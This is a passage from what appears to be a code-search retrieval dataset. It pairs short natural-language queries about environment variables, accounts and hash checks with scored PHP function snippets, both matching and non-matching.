}\n \n return [\n 'result' => json_encode($basket)\n ];\n }", "title": "" }, { "docid": "34f7bbba239019dce7ff062cfce9e2bb", "score": "0.55683", "text": "function set_quantity()\n {\n $callback = new PHPJqueryCallback();\n\n $quantity = $this->input->post('query');\n\n // Canceling product with empty or 0\n if ($quantity == '' or $quantity == '0') {\n $callback->val (\"#product_input\", '');\n $callback->focus ( \"#product_input\" );\n $callback->send ();\n }\n\n\n try {\n $ses = $this->pos_session_model->last();\n } catch (Exception $e) {\n if ($e->getMessage() == 'session_not_valid') {\n $callback->focus('#customer_input');\n $callback->alert($this->lang->line($e->getMessage()));\n } else {\n $callback->alert(\"Error!\\n\".$e->getMessage());\n }\n $callback->send();\n }\n\n if ($ses->activity != 'set_product') {\n $callback->alert(\"Error!\\nProduct not specified yet\" );\n $callback->val(\"#product_input\", '');\n $callback->focus(\"#product_input\" );\n $callback->send();\n }\n\n $produk = $this->product_model->get($ses->parameter);\n\n $this->pos_session_model->set_quantity($quantity);\n\n $line_total = (int) $produk->price * (int) $quantity;\n $total = $this->pos_session_model->total() + $line_total;\n\n $callback->append(\"table#purchase_item > tbody\", \"<tr><td>$produk->name</td><td>$quantity</td><td>\".number_format($line_total).\"</td></tr>\");\n $callback->html(\"#total_number\", number_format($total));\n $callback->val(\"#product_input\", '');\n $callback->focus(\"#product_input\");\n $callback->send();\n }", "title": "" } ]
f80cfc286da2ca9d5211d50697ed8d65
Return our environment variable account
[ { "docid": "a9a3ae88e9a91bf036b093aa62ef7ad1", "score": "0.0", "text": "public static function nav_account($verbose=FALSE) {\n return (isset(self::$account->message) ? FALSE : self::$account);\n\t\t}", "title": "" } ]
[ { "docid": "139c41bbc66b37fb859c692e1ed1f497", "score": "0.644305", "text": "function getEnvironment(){ return $_ENV['CURRENT_ENVIRONMENT']; }", "title": "" }, { "docid": "5bf7b888685159ec4392944ea352d2c6", "score": "0.6428834", "text": "function get_environment(): string {\n return getenv('APP_ENV') ?\n getenv('APP_ENV') : 'default';\n}", "title": "" }, { "docid": "dad1029949b19be2f14f03515e9e2d8d", "score": "0.64280194", "text": "public function return_oCRNRSTN_ENV(){\n\n return self::$oCRNRSTN_ENV;\n\n }", "title": "" }, { "docid": "c04b97d6c5ebd064296438d37d18e9ba", "score": "0.64240247", "text": "public function getAccountName()\n {\n return $this->config->getAccountName();\n }", "title": "" }, { "docid": "6eb465d10ae879b17a7d1e29ffdbfac2", "score": "0.6356443", "text": "function derive_environment()\n{\n $envname = 'crm'; // Assume prod environment for now.\n $env_shortname = strrchr(BASE_DIR, '_');\n if ($env_shortname !== false) {\n $env_shortname = substr($env_shortname, 1);\n if ($env_shortname != 'prod') {\n $envname = \"crm$env_shortname\";\n }\n }\n return $envname;\n}", "title": "" }, { "docid": "206555c70308d6cad117e15c03f8d5c2", "score": "0.6323171", "text": "public static function getParameterKeyAccountId()\n {\n return config('consts.ParameterAccountId');\n }", "title": "" }, { "docid": "9dc1e52ab42b34cac576266be3f46357", "score": "0.63045734", "text": "public function getEnv():string\n {\n return $this->env;\n }", "title": "" }, { "docid": "4fc6a6a0820a3f28bc98847acacb04d7", "score": "0.63020444", "text": "public function getEnvironmentFile(): string;", "title": "" }, { "docid": "d8a87fbdd4609fd86062aa2424292e00", "score": "0.62714994", "text": "protected function getOwnerName() {\n $owner_name = 'environment';\n return $owner_name;\n }", "title": "" }, { "docid": "c8b115075be55966352829547ae19818", "score": "0.6247959", "text": "protected function getCurrentEnv() {\n if (empty($this->env)) {\n $this->env = shell_exec('echo -n $'.self::ENV_VARIABLE_NAME);\n }\n return $this->env;\n }", "title": "" }, { "docid": "ff2539c1038c2e70facd86ce9b03ae37", "score": "0.6233691", "text": "public function environment() : string\n {\n return $this->environment;\n }", "title": "" }, { "docid": "4cfe91dfefc1e1e3d64b09cfe91a9a60", "score": "0.62037516", "text": "public function getEnvironment();", "title": "" }, { "docid": "4cfe91dfefc1e1e3d64b09cfe91a9a60", "score": "0.62037516", "text": "public function getEnvironment();", "title": "" }, { "docid": "4cfe91dfefc1e1e3d64b09cfe91a9a60", "score": "0.62037516", "text": "public function getEnvironment();", "title": "" }, { "docid": "4cfe91dfefc1e1e3d64b09cfe91a9a60", "score": "0.62037516", "text": "public function getEnvironment();", "title": "" }, { "docid": "4cfe91dfefc1e1e3d64b09cfe91a9a60", "score": "0.62037516", "text": "public function getEnvironment();", "title": "" }, { "docid": "4cfe91dfefc1e1e3d64b09cfe91a9a60", "score": "0.62037516", "text": "public function getEnvironment();", "title": "" }, { "docid": "617d8e8fb7c7b0b9039c0821d24758aa", "score": "0.6194921", "text": "public static function get()\n\t{\n\t\t// then return content of APPLICATION_ENV\n\t\t// else return \"development\"\n\t\treturn (getenv('APPLICATION_ENV') ? getenv('APPLICATION_ENV') : \"development\");\n\t}", "title": "" }, { "docid": "b85719f8d8d9ac31eaca6c18ef4b05b0", "score": "0.61636657", "text": "public function getAccount()\n {\n return $this->container->get('user')->getAccount();\n }", "title": "" }, { "docid": "1dcf0b8c5e85e2185a1943e2d52e8139", "score": "0.61537325", "text": "public function getEnvironmentFilePath(): string;", "title": "" }, { "docid": "c5cfe071029b7c3b98744d7606f384d4", "score": "0.6147598", "text": "function getAccountDirectory() {\n \n if (!($windir = getWindowsDirectory()))\n return false;\n\n $ini_file = $windir . '/' . FILE_NAME_Inc;\n if (!($ini = parse_ini_file($ini_file, true)))\n return false;\n\n return $ini[SECTION_System][VALUE_AccountDirectory];\n}", "title": "" }, { "docid": "00db91cbc78954ebc6f2183a8f525052", "score": "0.6130401", "text": "function getEnvironment() {\n return Environment::env();\n}", "title": "" }, { "docid": "5fa44354621e5c6257da17ba576d4ed6", "score": "0.612127", "text": "public function getEnvironmentPath(): string;", "title": "" }, { "docid": "e86e967584bcc28730dddcc02978fc7e", "score": "0.6067255", "text": "public function getEnvironment() {\n\n return trim($this->environment);\n }", "title": "" }, { "docid": "0f3748d1117bf4f6b3da756efc023f1e", "score": "0.60663664", "text": "public function get_env()\n {\n return $this->env;\n }", "title": "" }, { "docid": "259c6c57bd84d09b3239b49eb8a98c6e", "score": "0.6018717", "text": "public function getEnv()\n {\n return self::$environment;\n }", "title": "" }, { "docid": "7cc524d97abb3ac624f67b7e244d7a86", "score": "0.597619", "text": "public function getEnvironment()\n {\n return $this->getConfigData('environment');\n }", "title": "" }, { "docid": "b1c64692fcbff65d6ce8f35345886ada", "score": "0.5950854", "text": "public function getHome(): string\n {\n if (null === $this->home) {\n $this->home = getenv('HOME');\n }\n\n return $this->home;\n }", "title": "" }, { "docid": "159813cc49455971ef70fdf70caa6c68", "score": "0.5937742", "text": "public static function environment() {\n return self::$environment;\n }", "title": "" }, { "docid": "81281b0298606df12d1a22c063c740b7", "score": "0.59376484", "text": "public static function getUsername ()\n {\n return config('auth', 'username');\n }", "title": "" }, { "docid": "f69fad4ba03e021cb6de6a9757cf5924", "score": "0.59290177", "text": "public function getUser()\n\t{\n\t\treturn $this->config('email');\n\t}", "title": "" }, { "docid": "c17f4cae969a5f27e9f4a6fde5d90ed2", "score": "0.5923145", "text": "public function environment()\n {\n return \\Config::get('app')['env'];\n }", "title": "" }, { "docid": "f94e6de9ab7a2c3e096270ac37858f9b", "score": "0.5920769", "text": "function getEnvironmentVariables()\n{\n\tglobal $config_array;\n\n\tif ($customnr = getenv('CUSTOMERNR')) {\n\t\t$config_array['CUSTOMERNR'] = $customnr;\n\t}\n\n\tif ($apikey = getenv('APIKEY')) {\n\t\t$config_array['APIKEY'] = $apikey;\n\t}\n\n\tif ($apipassword = getenv('APIPASSWORD')) {\n\t\t$config_array['APIPASSWORD'] = $apipassword;\n\t}\n\n\tif ($domain = getenv('DOMAIN')) {\n\t\t$config_array['DOMAIN'] = $domain;\n\t}\n\n\tif ($hostipv4 = getenv('HOST_IPv4')) {\n\t\t$config_array['HOST_IPv4'] = $hostipv4;\n\t}\n\n\tif ($hostipv6 = getenv('HOST_IPv6')) {\n\t\t$config_array['HOST_IPv6'] = $hostipv6;\n\t}\n\n\tif ($useipv4 = getenv('USE_IPV4')) {\n\t\t$config_array['USE_IPV4'] = $useipv4;\n\t}\n\n\tif ($usefb = getenv('USE_FRITZBOX')) {\n\t\t$config_array['USE_FRITZBOX'] = $usefb;\n\t}\n\n\tif ($fbip = getenv('FRITZBOX_IP')) {\n\t\t$config_array['FRITZBOX_IP'] = $fbip;\n\t}\n\n\tif ($useipv6 = getenv('USE_IPV6')) {\n\t\t$config_array['USE_IPV6'] = $useipv6;\n\t}\n\n\tif ($ipv6interface = getenv('IPV6_INTERFACE')) {\n\t\t$config_array['IPV6_INTERFACE'] = $ipv6interface;\n\t}\n\n\tif ($ipv6priv = getenv('NO_IPV6_PRIVACY_EXTENSIONS')) {\n\t\t$config_array['NO_IPV6_PRIVACY_EXTENSIONS'] = $ipv6priv;\n\t}\n\n\tif ($changettl = getenv('CHANGE_TTL')) {\n\t\t$config_array['CHANGE_TTL'] = $changettl;\n\t}\n\n\tif ($apiurl = getenv('APIURL')) {\n\t\t$config_array['APIURL'] = $apiurl;\n\t}\n\n\tif ($sendmail = getenv('SEND_MAIL')) {\n\t\t$config_array['SEND_MAIL'] = $sendmail;\n\t}\n\n\tif ($mailrec = getenv('MAIL_RECIPIENT')) {\n\t\t$config_array['MAIL_RECIPIENT'] = $mailrec;\n\t}\n\n\tif ($sleepinsec = getenv('SLEEP_INTERVAL_SEC')) {\n\t\t$config_array['SLEEP_INTERVAL_SEC'] = $sleepinsec;\n\t}\n}", "title": "" }, { "docid": "f72c70df24777770cf15ab3d8f19f937", "score": "0.59015924", "text": "public function getEnvironment()\n {\n return $this->config['environment'];\n }", "title": "" }, { "docid": "d7cecbde4e7ec8b5343e542fb8b67d68", "score": "0.59002656", "text": "protected function environmentFilePath(): string\n {\n return base_path('.env');\n }", "title": "" }, { "docid": "3f55d32ac2fa905a25849f0bf24ab54b", "score": "0.58996236", "text": "public function environment()\n {\n return $this->env;\n }", "title": "" }, { "docid": "2d1d7a96651909fc923b4b4aa7b572fb", "score": "0.58911914", "text": "public function testApiCredentialsFromEnvironment() {\n // set home directory that would be necessary for a file\n $_SERVER['HOME'] = dirname(__FILE__);\n // set the environment variable, this is what it should be set to\n $envVarKey = \\AffiliateLinkr\\CommissionJunction\\ApiCredentials::ENV_KEY;\n $envVarSite = \\AffiliateLinkr\\CommissionJunction\\ApiCredentials::ENV_SITE;\n $_SERVER[$envVarKey] = \"BARKEY\";\n $_SERVER[$envVarSite] = \"FOOSITE\";\n $oApiCredentials = \\AffiliateLinkr\\CommissionJunction\\ApiCredentials::factory();\n\n $this->assertNotNull($oApiCredentials);\n \n $this->assertEquals($_SERVER[$envVarKey], $oApiCredentials->getDeveloperKey());\n $this->assertEquals($_SERVER[$envVarSite], $oApiCredentials->getWebsiteId());\n \n }", "title": "" }, { "docid": "2ebf6a66fa51545d2c69ccf63e0defe6", "score": "0.58911645", "text": "public function user()\n\t{\n\t\treturn $this->config('email');\n\t}", "title": "" }, { "docid": "4b100e56b82c0be42f8902ec0b65072a", "score": "0.58866876", "text": "public function getAccountKey()\n {\n return $this->accountKey;\n }", "title": "" }, { "docid": "803c2a4b8fc374a9f2dd197ba89dded0", "score": "0.58784574", "text": "function env($key = null)\n{\n if (!isset($GLOBALS['configs']))\n $GLOBALS['configs'] = json_decode(file_get_contents($GLOBALS['config_path'] . DIRECTORY_SEPARATOR . 'env.json'));\n\n if (!is_null($key) && isset($GLOBALS['configs']->$key))\n return $GLOBALS['configs']->$key;\n elseif (is_null($key) && isset($GLOBALS['configs']))\n return $GLOBALS['configs'];\n else\n Throw new \\Atom\\Environment\\EnvironmentException(\"Environment variable \" . $key . \" not found.\");\n}", "title": "" }, { "docid": "21ccb19892f3c98fc784010cc98d6598", "score": "0.58729875", "text": "public function getApiUser()\n {\n return Mage::getStoreConfig('magebridge/settings/api_user');\n }", "title": "" }, { "docid": "9290c5d24ee2a1d1a58e8d53fd78c2d0", "score": "0.5869422", "text": "public function getEnv()\n {\n return $this->env;\n }", "title": "" }, { "docid": "9290c5d24ee2a1d1a58e8d53fd78c2d0", "score": "0.5869422", "text": "public function getEnv()\n {\n return $this->env;\n }", "title": "" }, { "docid": "6a19448f8b7d3f26f29eb69e31168443", "score": "0.5868887", "text": "private function getAppFogLogin() {\r\n $afEmail = getenv('AFEMAIL');\r\n $afPassword = getenv('AFPASSWORD');\r\n\r\n if (empty($afEmail) || empty($afPassword)) {\r\n echo \"Will not deploy the code coverage results\" . PHP_EOL;\r\n echo \"set the AFEMAIL and AFPASSWORD system variables if you want to deploy\" . PHP_EOL . PHP_EOL;\r\n var_dump($_ENV);\r\n return 0;\r\n }\r\n\r\n return \"af login --email $afEmail --passwd $afPassword\";\r\n }", "title": "" }, { "docid": "00e896f4cf9e5e1be0f24c69a2ba4208", "score": "0.5868521", "text": "public function getAccountURL()\n {\n return $this->config['account_url'];\n }", "title": "" }, { "docid": "469d3ebcec0bb3265e82e30ec9425c63", "score": "0.5865885", "text": "public function getEnvPath()\n {\n return $this->envPath;\n }", "title": "" }, { "docid": "c351e328ca8ab889f6cf189ba3d7fa16", "score": "0.5862174", "text": "function env_get( $variable ){\n\t\t// not this function!\n\t\t$data = file_get_contents( 'env/env.json' );\n\t\t$json = json_decode( $data, true );\n\t\treturn $json[ $variable ];\n\t}", "title": "" }, { "docid": "661e764a9ae39968fd7cf61b12a7d038", "score": "0.58555186", "text": "public function getEnvironment()\n {\n return $this->getConfig('environment');\n }", "title": "" }, { "docid": "e2c3b21ca6bfd8296ec17859c11db85d", "score": "0.58466077", "text": "private function getEnvironmentVariables()\n {\n return array(\n 'GIT_TERMINAL_PROMPT' => '0',\n 'GIT_ASKPASS' => 'echo',\n );\n }", "title": "" }, { "docid": "c523d1e29b52187e10b73372b05b0351", "score": "0.5834029", "text": "public static function getCurrentAccount() {\n $billing_account = FALSE;\n $uid = \\Drupal::currentUser()->id();\n if ($uid > 0) {\n $billing_account = self::getUserAccount($uid);\n }\n return $billing_account;\n }", "title": "" }, { "docid": "eb71e5f650a330458a90c313a512cce1", "score": "0.5825827", "text": "public function environmentFile(): string\n {\n return $this->environmentFile ?: '.env';\n }", "title": "" }, { "docid": "b9b963ff4548d485b1132f435824ad1c", "score": "0.5793629", "text": "public function getEnvironmentFile()\n {\n return $this->environmentFile ?: '.env';\n }", "title": "" }, { "docid": "9965a5844c4ac9852327296c23e28660", "score": "0.5793385", "text": "function env($name)\n{\n return Env::get($name);\n}", "title": "" }, { "docid": "31a27d84846009ece4770ad2fa2492d3", "score": "0.57918715", "text": "public function getEnv() {\n\t\treturn APPLICATION_ENV;\n\t}", "title": "" }, { "docid": "d7e4a9e588a374afd62bae1c8afee5a0", "score": "0.5751358", "text": "public static function getEnvironment() {\n return self::whichEnv();\n }", "title": "" }, { "docid": "0dd6f6654728f7804ba7b217db03dc23", "score": "0.5750288", "text": "public function getAccount(): ?string\n {\n return $this->account;\n }", "title": "" }, { "docid": "b7cf52d8204a2f808089fc343350876d", "score": "0.5749839", "text": "public static function environmentFile(){\n return \\Illuminate\\Foundation\\Application::environmentFile();\n }", "title": "" }, { "docid": "765eb6c9c655e5a20b8a589e8bba87ee", "score": "0.5748939", "text": "function env($str){\n\treturn (getenv($str))?:$_SERVER[$str]; // generate library path:\n}", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5748828", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5748828", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5748828", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5748828", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5748828", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "20b341d87d2c531de76c8ec033db44ca", "score": "0.5748828", "text": "public function getAccount()\n {\n return $this->account;\n }", "title": "" }, { "docid": "52fb52e5b78aa42ff1957a3e4634cb9a", "score": "0.5747159", "text": "public function getAccount() {\n return $this->account;\n }", "title": "" }, { "docid": "751baae9eec575a5eb8ecbd896549675", "score": "0.57409036", "text": "public function getAccount()\n {\n return isset($this->account) ? $this->account : null;\n }", "title": "" }, { "docid": "cc353dc6c4849d6d6fe7a9c1294ce578", "score": "0.57257444", "text": "public function getUsername()\n {\n return $this->getConfig('username');\n }", "title": "" }, { "docid": "8d33f4909b114662ca22116eb4bab12e", "score": "0.57216144", "text": "public function getCredentialsName()\n {\n //Return Credential name\n return is_null($this->credentialsName) ? config('personality-insights.default_credentials') : $this->credentialsName;\n }", "title": "" }, { "docid": "5fed889f4cec3b575f0289bf0c9d6800", "score": "0.5714826", "text": "public function environmentPath(): string\n {\n return $this->environmentPath ?: $this->basePath;\n }", "title": "" }, { "docid": "5556f9927e9c42e9c6d7ba117d70eb5d", "score": "0.5701714", "text": "private static function _getConfig()\n\t{\n\t\treturn \\Config::get('app.fqdn', '');\n\t}", "title": "" }, { "docid": "00cc50358893ed57d52df280b91fd825", "score": "0.5701597", "text": "public function getAccountName()\n {\n return $this->account_name;\n }", "title": "" }, { "docid": "00cc50358893ed57d52df280b91fd825", "score": "0.5701597", "text": "public function getAccountName()\n {\n return $this->account_name;\n }", "title": "" }, { "docid": "00cc50358893ed57d52df280b91fd825", "score": "0.5701597", "text": "public function getAccountName()\n {\n return $this->account_name;\n }", "title": "" }, { "docid": "df7a53a1bcf0e7b4ac943dd1c8521b54", "score": "0.5699926", "text": "function env($key, $default = NULL)\n\t{\n\t\treturn Env::get($key, $default);\n\t}", "title": "" }, { "docid": "70af34e2f7f259287acc0cc9d53c582a", "score": "0.5691328", "text": "public static function env()\n {\n return self::context()->env();\n }", "title": "" }, { "docid": "8f20e23cb24b5de89becb84799c31d8e", "score": "0.5688908", "text": "public function getCredential ()\n\t{\n\t\t$retVal = null;\n\t\tif ($this->isConsole()) {\n\t\t\t$retVal = MO_CONSOLE_CREDENTIAL;\n\t\t} elseif(!defined('MO_IS_CONSOLE')) {\n\t\t\t$retVal = parent::getCredential();\n\t\t}\n\t\treturn $retVal;\n\t}", "title": "" }, { "docid": "d8faf039f6fc482183490b268c4465eb", "score": "0.5687397", "text": "static function getUser(){\n return $_SESSION[\"APPWEB\"][\"USERNAME\"];\n }", "title": "" }, { "docid": "3ec54b522129709daa1cb0ece700cc2b", "score": "0.5666004", "text": "public function getEnv($name);", "title": "" }, { "docid": "fd890de337c9e2c14cd603e97b9836fe", "score": "0.56445754", "text": "public function getEnvironment() {\n return $this->environment; \n }", "title": "" }, { "docid": "2056161945f9c2c0699a0bae8fd63187", "score": "0.56388277", "text": "public static function env()\n {\n return function () {\n // Use credentials from environment variables, if available\n $key = getenv(self::ENV_KEY);\n $secret = getenv(self::ENV_SECRET);\n return $key && $secret\n ? new Credentials($key, $secret, getenv(self::ENV_SESSION))\n : null;\n };\n }", "title": "" }, { "docid": "5eaabf015ee7693fa11d364a41ab0acd", "score": "0.56238425", "text": "public function getDepositAccount(){\n return $this->getParameter('deposit_account');\n }", "title": "" }, { "docid": "a4d6eeac2a1e96d8189873bf10b105fe", "score": "0.56232494", "text": "public function getEnvironmentName()\n {\n if ($this->environmentName) {\n return ucfirst($this->environmentName) . ' ' . __(\"Environment\");\n }\n }", "title": "" }, { "docid": "910554b14cfaec2bd19b6cb34964f01d", "score": "0.56198263", "text": "public function getUsername() {\n return $this->getConfig('username', $this->defaults['username']);\n }", "title": "" }, { "docid": "6e44f0e6b38cc86f99f40067be7147a7", "score": "0.5617114", "text": "public static function CDN_KEY() {\n return Config::get_env(\"CDN_KEY\", \"CLXDZS24AL6KDVDGCG33\");\n }", "title": "" }, { "docid": "4117acea60a63f2db780f68e3cd85c4b", "score": "0.5611798", "text": "private static function loadEnvSettings()\n {\n require_once self::$envPath;\n return $env;\n }", "title": "" }, { "docid": "f0ef56ed5c22226cc938b40b2a5fa5e7", "score": "0.5603993", "text": "protected function getEnvironmentVariable($key)\n {\n return GeneralUtility::getIndpEnv($key);\n }", "title": "" }, { "docid": "cd3327f3f87a7ecc2d7aa0eb32f994af", "score": "0.56032294", "text": "public function getAllEnvironmentVariables()\n {\n return include $_SERVER['DOCUMENT_ROOT'] . '/env.php';\n }", "title": "" }, { "docid": "c70e3a67e59f8663eb75c037785fdb17", "score": "0.5601754", "text": "function getDbCredentials()\n{ \n return getSettings()['database'];\n}", "title": "" }, { "docid": "058fb6e7ae679abca593f6068dad0087", "score": "0.560145", "text": "public function getEnvironment($name);", "title": "" }, { "docid": "e8dc8ef086c88023a7fdb2af62a9031d", "score": "0.5595339", "text": "public function getAccountId(){\n $value = \\Auth::user()->account_id;\n return $value;\n }", "title": "" }, { "docid": "d97c4740ba125969faad65ccb11ce834", "score": "0.5594152", "text": "public function getAccountName()\n {\n return $this->accountName;\n }", "title": "" }, { "docid": "95b930e47868e1bfbcfc379896dc6ec9", "score": "0.5593823", "text": "protected function getEnvironmentVariablesThatICareAbout()\n {\n return array(\n 'shell',\n 'tmpdir',\n 'user',\n 'pwd',\n 'lang',\n 'editor',\n 'home',\n );\n }", "title": "" }, { "docid": "fc3789795b2f10131b339c4dd3a08fc9", "score": "0.5588781", "text": "protected function deriveEnvironment()\n {\n $confDir = $this->getAppConfigDir();\n\n if (file_exists($confDir . 'development.php')) {\n return 'development';\n } elseif (file_exists($confDir . 'testing.php')) {\n return 'testing';\n } elseif (file_exists($confDir . 'production.php')) {\n return 'production';\n } else {\n throw new \\RuntimeException(\n 'Environment Not Specified And Unable To Derive',\n 500\n );\n }\n }", "title": "" }, { "docid": "c436649100857ce025cab8a9dbc0e7ec", "score": "0.5586056", "text": "public static function getUsername() \n { \n return emailSettings::$username; \n }", "title": "" }, { "docid": "ad6bd48876e7be8111ab9bf4a4ffaca7", "score": "0.5585333", "text": "public function getCredentials()\n {\n return '';\n }", "title": "" }, { "docid": "7112d6f718bed3d9aa6d17dea4689a3c", "score": "0.55804366", "text": "public function getEnvExamplePath()\n {\n return $this->envExamplePath;\n }", "title": "" }, { "docid": "83bb82cbbce99f58fe4fead77f111252", "score": "0.5574032", "text": "public function accountId(): string\n {\n return $this->accountId;\n }", "title": "" }, { "docid": "83bb82cbbce99f58fe4fead77f111252", "score": "0.5574032", "text": "public function accountId(): string\n {\n return $this->accountId;\n }", "title": "" }, { "docid": "78b789a1c18c30d3bfc82891e9a3f9ee", "score": "0.55665714", "text": "public function getEnvironment()\n {\n return self::$_environment;\n }", "title": "" }, { "docid": "1d6c80347b5714bee7e6d28fa28d9ec6", "score": "0.5561431", "text": "function getEnvValue($name)\n{\n return $_ENV[$name] ?? getenv($name);\n}", "title": "" }, { "docid": "f618087b80163e9b008e289ecd61662c", "score": "0.5558522", "text": "public function getClientAccount()\n {\n return $this->account;\n }", "title": "" } ]
41b90286e84864ee3b4695673b560ecd
The check function returns false if the hash is safe
[ { "docid": "d659bc357c61944db6b0ea7021fee5eb", "score": "0.7864971", "text": "public function testCheckFunctionReturnsFalseOnSafeHash()\n {\n $safeResponse = MalwareChecker::check($this->safeHash);\n\n $this->assertFalse($safeResponse);\n }", "title": "" } ]
[ { "docid": "67a39648f5fb46bbcdb40f0d19c15268", "score": "0.8039501", "text": "protected function checkHashKey() {}", "title": "" }, { "docid": "33019e7b189789e6f6f131394d18c749", "score": "0.7422261", "text": "function validateHash($argHash,$argFileId,$webuserId)\n{\n $hash = substr($argHash,0,32);\n $expire = substr($argHash,32,strlen($argHash));\n if (mktime() > $expire) return false;\n return (md5($expire.$argFileId.$webuserId) == $hash)? true : false;\n}", "title": "" }, { "docid": "bf9cf075537eb9b51281f84623225319", "score": "0.74098086", "text": "public function testHashCheckMethod()\n {\n $hash = Hash::make('foo');\n\n $this->assertTrue(Hash::check('foo', $hash));\n $this->assertFalse(Hash::check('bar', $hash));\n }", "title": "" }, { "docid": "afa7b4fc0b3a1aa93c13f59085cbee04", "score": "0.7400235", "text": "function check_hash( $action, $hash ){\r\n if (generate_hash($action) == $hash){\r\n return true;\r\n }\r\n return false;\r\n}", "title": "" }, { "docid": "6312ea788e935c5ce8910369d825dcf3", "score": "0.73878425", "text": "public function check($value, $hash);", "title": "" }, { "docid": "07570de705b41ecd7b2875d5f09893cb", "score": "0.7375909", "text": "protected function checkHashLength() {}", "title": "" }, { "docid": "f6eb81f9c4cd14a4c7b74f5a0d26b04e", "score": "0.7277339", "text": "public function checkHash() {\n $string = '';\n $hashFieldName = $this->requestMethod->getNotifyHashName();\n\n foreach ($this->notifyParams as $k => $v) {\n if ($k !== $hashFieldName)\n $string .= $v;\n }\n\n if ($this->notifyParams[$hashFieldName] === hash_hmac('md5', $string, $this->secret)) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "65ada87201a59cee3c86c6fdf783152f", "score": "0.7189089", "text": "public function Check($hash, $plain);", "title": "" }, { "docid": "138c03d112a6444e9b838a9849693a37", "score": "0.69643843", "text": "public function shouldHash(): bool\n {\n return $this->data->hash->as('bool');\n }", "title": "" }, { "docid": "59bd1a04344f4d2f385a1e02b08df31a", "score": "0.69598955", "text": "private function validateSSNHash() {\n $ssnHashParts = $this->ssnDay . $this->ssnMonth . $this->ssnYear . $this->ssnUnique;\n\n $ssnHashPartsInt = (int)$ssnHashParts;\n\n $remainder = $ssnHashPartsInt % 31;\n\n // Compare SSN hash to the precalculated remainder value hash\n if($this->ssnHash != $this->ssnHashes[$remainder]) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "d4ab4f057ec71ef566fa39a6c9b1ff1f", "score": "0.69476557", "text": "function pbx_CheckHash($rawhash) {\r\n $rawhash = loginDB_real_escape_string($rawhash);\r\n $hash = 'PBX_' . $rawhash;\r\n $query = \"SELECT * from `op_transactions` WHERE `hash`='\" . $hash . \"';\";\r\n $data = simple_query($query);\r\n if (empty($data)) {\r\n return (true);\r\n } else {\r\n return (false);\r\n }\r\n}", "title": "" }, { "docid": "1c8e52b822106660a0c34a9bc47bf763", "score": "0.69323677", "text": "function check_hash($pass, $hash)\n\t{\n\t\treturn (crypt($pass, $hash)===$hash);\n\t}", "title": "" }, { "docid": "590d67e4c52c43c36d4ed62303decf27", "score": "0.6735028", "text": "function phpbb_check_hash($password, $hash)\n{\n\t$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\n\tif (strlen($hash) == 34)\n\t{\n\t\treturn (_hash_crypt_private($password, $hash, $itoa64) === $hash) ? true : false;\n\t}\n\n\treturn (md5($password) === $hash) ? true : false;\n}", "title": "" }, { "docid": "7f65b77bee6eae3036f093191349d5e3", "score": "0.6712001", "text": "public function getFileableEnsuredHash();", "title": "" }, { "docid": "c899368b44bd7ccc5600053aaa4434b4", "score": "0.6704427", "text": "function hashMatch(string $field_name, string $hash, array $data)\r\n{\r\n $hash_dont_match = !(password_verify($data[$field_name], $hash));\r\n throwError($hash_dont_match, \"$field_name was incorrect\");\r\n}", "title": "" }, { "docid": "fb315a44fbfe54914cac04bcf0fa87fa", "score": "0.66788757", "text": "public function isValidSHA512(string $hash): bool;", "title": "" }, { "docid": "150552b54f2aead30ca44006b81a48df", "score": "0.6640133", "text": "function verifUsager($motPasse, $hash)\n{\n $res = false;\n\n if (crypt($motPasse, $hash) == $hash)\n {\n $res = true;\n }\n\t\t\n return $res;\n\t\t\n}", "title": "" }, { "docid": "386388ff2c44fb6844b93abfa0cda7ca", "score": "0.6639823", "text": "public static function verify(string $string, string $hash): bool;", "title": "" }, { "docid": "1974a146a39af8bb154ab3be960cd718", "score": "0.66235703", "text": "public function isValid($string, $hash);", "title": "" }, { "docid": "76ae03d5452bf2f3b2e6dd1acb5c246c", "score": "0.66215986", "text": "static public function isValidHash($hash) {\n\t\tif ($_SESSION['cfgame']['hash'] != $hash) {\n\t\t\treturn false;\n\t\t}\n\t\t# @todo: megnezni, hogy a hash nincs e mar az adatbazisban\n\t\treturn true;\n\t}", "title": "" }, { "docid": "13e1903eb3462b493e8288506192acbb", "score": "0.6613417", "text": "function hash_check(){\n\tglobal $db ;\n\tif(isset($_COOKIE['tasti_username'])){\n\t\t$username=$_COOKIE['tasti_username'] ;\n\t}else{\n\t\t$username='' ;\n\t}\n\tif(isset($_COOKIE['tasti_hash'])){\n\t\t$password_hash=$_COOKIE['tasti_hash'] ;\n\t}else{\n\t\t$password_hash='' ;\n\t}\n\t\n\t$hash_sql=\"SELECT count(id) FROM users WHERE username='$username' AND password='$password_hash'\" ;\n\t$hash_qry=pg_query($db,$hash_sql) ;\n\tif(!$hash_qry){\n\t\treturn 0 ;\n\t}else{\n\t\treturn pg_result($hash_qry,0,0) ;\n\t}\n}", "title": "" }, { "docid": "dca356790da5aa2d66d4c04e57cbd1e1", "score": "0.6592849", "text": "public function is_hashed()\n {\n return true;\n }", "title": "" }, { "docid": "0484170682f8dffa24d51125014e68cf", "score": "0.6587353", "text": "function validPassHash($passHash) {\r\n\t\t return preg_match(\"/^[a-f0-9]{128}$/\",$passHash);\r\n\t}", "title": "" }, { "docid": "d47f3a94ada3ee44565276bc6d644a75", "score": "0.6586276", "text": "function isValidActivateHash($user_id = null, $hash = null)\r\n {\r\n return (md5($user_id . '-' . Configure::read('Security.salt')) == $hash);\r\n }", "title": "" }, { "docid": "a44fe9c901c8668b207ff0606a676377", "score": "0.6544438", "text": "function isValidResendActivateHash($user_id = null, $hash = null)\r\n {\r\n return (md5(Configure::read('Security.salt') . '-' . $user_id) == $hash);\r\n }", "title": "" }, { "docid": 